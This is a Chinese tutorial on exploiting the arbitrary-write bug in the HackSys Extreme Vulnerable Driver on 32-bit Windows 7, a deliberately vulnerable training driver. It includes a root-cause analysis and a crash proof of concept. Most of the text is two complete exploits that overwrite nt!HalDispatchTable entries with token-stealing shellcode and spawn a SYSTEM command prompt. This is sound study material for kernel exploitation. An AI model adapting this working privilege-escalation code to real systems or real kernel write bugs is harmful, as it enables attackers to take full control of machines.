环境配置及基础知识见上一篇，本篇及后续篇章不不再赘述。本篇使用环境如下：
•物理机OS：Windows 10 20H2 x64•物理机WinDbg：10.0.19041.685•虚拟机OS：Windows 7 SP1 x86(6.1.7601.17514)•VMware：VMware Workstation 15 Pro•Visual Studio 2019
0x01 Root Cause Analyses
触发漏洞源码如下：
NTSTATUSTriggerArbitraryWrite( _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere){ PULONG_PTR What = NULL; PULONG_PTR Where = NULL; NTSTATUS Status = STATUS_SUCCESS; PAGED_CODE(); __try { // // Verify if the buffer resides in user mode // ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR)); What = UserWriteWhatWhere->What; Where = UserWriteWhatWhere->Where; DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere); DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE)); DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What); DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);#ifdef SECURE // // Secure Note: This is secure because the developer is properly validating if address // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/ // ProbeForWrite() routine before performing the write operation // ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR)); ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR)); *(Where) = *(What);#else DbgPrint("[+] Triggering Arbitrary Write\n"); // // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability // because the developer is writing the value pointed by 'What' to memory location // pointed by 'Where' without properly validating if the values pointed by 'Where' // and 'What' resides in User mode // *(Where) = *(What);#endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } // // There is one more hidden vulnerability. Find it out. // return Status;}
对比Vulnerable版本与Secure版本可以发现，其在执行*(Where) = *(What)语句之前未通过ProbeForRead/ProbeForWrite函数校验读取及写入地址的合法性。跟进ProbeForRead函数：
图1
首先是校验边界，其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress其值由MiInitializeBootDefaults函数初始化)：
图2
边界未对齐，触发STATUS_DATATYPE_MISALIGNMENT异常：
图3
越界则触发STATUS_ACCESS_VIOLATION异常：
图4
ProbeForWrite函数在边界对齐及地址范围校验方面与ProbeForRead类似，除此之外该函数会校验地址是否可写，可读，可访问：
图5
编写POC如下：
#include <stdio.h>#include <windows.h>#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)typedef struct _WRITE_WHAT_WHERE{ PULONG_PTR What; PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;int main(){ HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (dev == INVALID_HANDLE_VALUE) { printf("Failed!\n"); system("pause"); return -1; } printf("Done! Device Handle:0x%p\n", dev); PWRITE_WHAT_WHERE Buffer; Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE)); Buffer->Where=(PULONG_PTR)0x41414141; Buffer->What = (PULONG_PTR)0x42424242; DWORD size_returned = 0; BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL); CloseHandle(dev); system("pause"); return 0;}
触发漏洞：
图6
0x02 Exploit
根据上文分析，现已可以实现任意地址写。将nt!HalDispatchTable中函数地址覆盖为Shellcode地址可以实现任意代码执行，具体见下文分析。
nt!HalDispatchTable中HalQuerySystemInformation与HalSetSystemInformation是在内核初始化过程中确定的：
图7
二者分别可以通过NtQueryIntervalProfile与NtSetIntervalProfile函数调用：
图8
图9
下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile函数定义如下：
NTSTATUS NtQueryIntervalProfile ( KPROFILE_SOURCE ProfileSource, ULONG *Interval);
其中KPROFILE_SOURCE是一枚举类型：
typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum} KPROFILE_SOURCE, *PKPROFILE_SOURCE;
NtQueryIntervalProfile首先校验_KTHREAD中PreviousMode(Offset 0x13A)字段值(关于_KPCR，_KPRCB，_KTHREAD上一篇有介绍)：
图10
其次判断参数Interval指向地址是否超过MmUserProbeAddress：
图11
最后判断ProfileSource是否为零，非零值则调用KeQueryIntervalProfile：
图12
KeQueryIntervalProfile会判断ProfileSource是否为1，不为1才会继续调用nt!HalDispatchTable+0x4
图13
如此，笔者构造Exploit中对该函数调用如下：
PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC); //SC——>Shellcode Address
对nt!HalDispatchTable+0x4函数调用不止KeQueryIntervalProfile一处，所以在Shellcode中需要将其替换成原数值，通过其与HalSetSystemInformation函数地址相差0x912来进行恢复：
INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8; //HalQuerySystemInformation_Address Offset 0x14 CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40); ZeroMemory(SC, 0x60); __asm { pushad; mov eax, HalSetSystemInformation_Address; mov ebx, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60; mov dword ptr[edi + 0x1], 0x000000E8; mov dword ptr[edi + 0x5], 0x588B5800; mov dword ptr[edi + 0x9], 0x4F488B4B; mov dword ptr[edi + 0xD], 0xEA81138B; mov dword ptr[edi + 0x11], 0x00000912; mov dword ptr[edi + 0x15], 0x90901189; mov dword ptr[edi + 0x19], 0x8B64C031; mov dword ptr[edi + 0x1D], 0x00012480; mov dword ptr[edi + 0x21], 0x50408B00; mov dword ptr[edi + 0x25], 0x04BAC189; mov dword ptr[edi + 0x29], 0x8B000000; mov dword ptr[edi + 0x2D], 0x0000B880; mov dword ptr[edi + 0x31], 0x00B82D00; mov dword ptr[edi + 0x35], 0x90390000; mov dword ptr[edi + 0x39], 0x000000B4; mov dword ptr[edi + 0x3D], 0x908BED75; mov dword ptr[edi + 0x41], 0x000000F8; mov dword ptr[edi + 0x45], 0x00F89189; mov dword ptr[edi + 0x49], 0x31610000; mov dword ptr[edi + 0x4D], 0x0000C3C0; mov dword ptr[edi + 0x51], eax; mov dword ptr[edi + 0x55], ebx; popad; }
Shellcode如下：
图14
NtSetIntervalProfile函数定义如下：
NTSTATUS NtSetIntervalProfile ( ULONG Interval, KPROFILE_SOURCE ProfileSource);
其对参数判断位于KeSetIntervalProfile函数内，首先校验nt!PerfGlobalGroupMask+0x4 ：
图15
其次判断ProfileSource是否为0及是否为1：
图16
上述两种方式思想相同，只是具体实现方式略有不同，两种方式完整Exploit如下：
//HalSetSystemInformation#include <iostream>#include <string.h>#include <Windows.h>using namespace std;#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION{ ULONG ModulesCount; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{ SystemModuleInformation = 0xB} SYSTEM_INFORMATION_CLASS;typedef struct _WRITE_WHAT_WHERE{ PULONG_PTR What; PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum} KPROFILE_SOURCE, * PKPROFILE_SOURCE;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength );typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)( __in KPROFILE_SOURCE ProfileSource, __in ULONG* Interval);typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)( __in ULONG* Interval, __in KPROFILE_SOURCE ProfileSource);INT32 GetKernelBaseAddress(){ //Get NtQuerySystemInformation Address PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation"); if (!NtQuerySystemInformation){ cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl; cout << "[!] Last Error:" << GetLastError() << endl; exit(1); } ULONG len = 0; //Get Buffer Length NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len); //Allocate Memory PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE); //Get SYSTEM_MODULE_INFORMATION NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len); if (Status != (NTSTATUS)0x0){ cout << "[!] NtQuerySystemInformation Failed!" << endl; exit(1); } PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl; return (INT32)KernelImageBase;}int main() { HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl; exit(1); } cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl; INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8; //HalQuerySystemInformation_Address Offset 0x912 CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40); ZeroMemory(SC, 0x60); __asm { pushad; mov ebx, HalSetSystemInformation_Address; mov eax, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60; mov dword ptr[edi + 0x1], 0x000000E8; mov dword ptr[edi + 0x5], 0x588B5800; mov dword ptr[edi + 0x9], 0x4F488B4B; mov dword ptr[edi + 0xD], 0xC281138B; mov dword ptr[edi + 0x11], 0x00000912; mov dword ptr[edi + 0x15], 0x90901189; mov dword ptr[edi + 0x19], 0x8B64C031; mov dword ptr[edi + 0x1D], 0x00012480; mov dword ptr[edi + 0x21], 0x50408B00; mov dword ptr[edi + 0x25], 0x04BAC189; mov dword ptr[edi + 0x29], 0x8B000000; mov dword ptr[edi + 0x2D], 0x0000B880; mov dword ptr[edi + 0x31], 0x00B82D00; mov dword ptr[edi + 0x35], 0x90390000; mov dword ptr[edi + 0x39], 0x000000B4; mov dword ptr[edi + 0x3D], 0x908BED75; mov dword ptr[edi + 0x41], 0x000000F8; mov dword ptr[edi + 0x45], 0x00F89189; mov dword ptr[edi + 0x49], 0x31610000; mov dword ptr[edi + 0x4D], 0x0000C3C0; mov dword ptr[edi + 0x51], eax; mov dword ptr[edi + 0x55], ebx; popad; } PULONG_PTR* PShellcode = (PULONG_PTR*)&SC; PWRITE_WHAT_WHERE Buffer; Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE)); Buffer->Where = (PULONG_PTR)HalSetSystemInformation_Address; Buffer->What = (PULONG_PTR)PShellcode; DWORD size_returned = 0; BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL); PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetIntervalProfile"); if (!NtSetIntervalProfile) { cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } NtSetIntervalProfile((ULONG*)SC, ProfileTotalIssues); PROCESS_INFORMATION ProcessInformation; ZeroMemory(&ProcessInformation, sizeof(ProcessInformation)); STARTUPINFOA StartupInfo; ZeroMemory(&StartupInfo, sizeof(StartupInfo)); CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation); VirtualFree(SC, 0, MEM_RELEASE);}
//HalQuerySystemInformation#include <iostream>#include <string.h>#include <Windows.h>using namespace std;#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256];}SYSTEM_MODULE, * PSYSTEM_MODULE;typedef struct SYSTEM_MODULE_INFORMATION{ ULONG ModulesCount; SYSTEM_MODULE Modules[1];} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{ SystemModuleInformation = 0xB} SYSTEM_INFORMATION_CLASS;typedef struct _WRITE_WHAT_WHERE{ PULONG_PTR What; PULONG_PTR Where;} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum} KPROFILE_SOURCE, * PKPROFILE_SOURCE;typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength );typedef NTSTATUS(WINAPI* PNtQueryIntervalProfile)( __in KPROFILE_SOURCE ProfileSource, __in ULONG* Interval);typedef NTSTATUS(WINAPI* PNtSetIntervalProfile)( __in ULONG* Interval, __in KPROFILE_SOURCE ProfileSource);INT32 GetKernelBaseAddress(){ //Get NtQuerySystemInformation Address PNtQuerySystemInformation NtQuerySystemInformation =(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),"NtQuerySystemInformation"); if (!NtQuerySystemInformation){ cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl; cout << "[!] Last Error:" << GetLastError() << endl; exit(1); } ULONG len = 0; //Get Buffer Length NtQuerySystemInformation(SystemModuleInformation,NULL,0,&len); //Allocate Memory PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL,len,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE); //Get SYSTEM_MODULE_INFORMATION NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo,len,&len); if (Status != (NTSTATUS)0x0){ cout << "[!] NtQuerySystemInformation Failed!" << endl; exit(1); } PVOID KernelImageBase = PModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl; return (INT32)KernelImageBase;}int main() { HANDLE hFile = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl; exit(1); } cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl; INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8; //HalQuerySystemInformation_Address Offset 0x912 CHAR* SC = (CHAR*)VirtualAlloc(0, 0x60, 0x3000, 0x40); ZeroMemory(SC, 0x60); __asm { pushad; mov eax, HalSetSystemInformation_Address; mov ebx, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60; mov dword ptr[edi + 0x1], 0x000000E8; mov dword ptr[edi + 0x5], 0x588B5800; mov dword ptr[edi + 0x9], 0x4F488B4B; mov dword ptr[edi + 0xD], 0xEA81138B; mov dword ptr[edi + 0x11], 0x00000912; mov dword ptr[edi + 0x15], 0x90901189; mov dword ptr[edi + 0x19], 0x8B64C031; mov dword ptr[edi + 0x1D], 0x00012480; mov dword ptr[edi + 0x21], 0x50408B00; mov dword ptr[edi + 0x25], 0x04BAC189; mov dword ptr[edi + 0x29], 0x8B000000; mov dword ptr[edi + 0x2D], 0x0000B880; mov dword ptr[edi + 0x31], 0x00B82D00; mov dword ptr[edi + 0x35], 0x90390000; mov dword ptr[edi + 0x39], 0x000000B4; mov dword ptr[edi + 0x3D], 0x908BED75; mov dword ptr[edi + 0x41], 0x000000F8; mov dword ptr[edi + 0x45], 0x00F89189; mov dword ptr[edi + 0x49], 0x31610000; mov dword ptr[edi + 0x4D], 0x0000C3C0; mov dword ptr[edi + 0x51], eax; mov dword ptr[edi + 0x55], ebx; popad; } PULONG_PTR* PShellcode = (PULONG_PTR*)&SC; PWRITE_WHAT_WHERE Buffer; Buffer = (WRITE_WHAT_WHERE*)malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory(Buffer, sizeof(WRITE_WHAT_WHERE)); Buffer->Where = (PULONG_PTR)HalQuerySystemInformation_Address; Buffer->What = (PULONG_PTR)PShellcode; DWORD size_returned = 0; BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer, sizeof(WRITE_WHAT_WHERE), NULL, 0, &size_returned, NULL); PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } NtQueryIntervalProfile(ProfileTotalIssues, (ULONG*)SC); PROCESS_INFORMATION ProcessInformation; ZeroMemory(&ProcessInformation, sizeof(ProcessInformation)); STARTUPINFOA StartupInfo; ZeroMemory(&StartupInfo, sizeof(StartupInfo)); CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation); VirtualFree(SC, 0, MEM_RELEASE);}
效果如下：
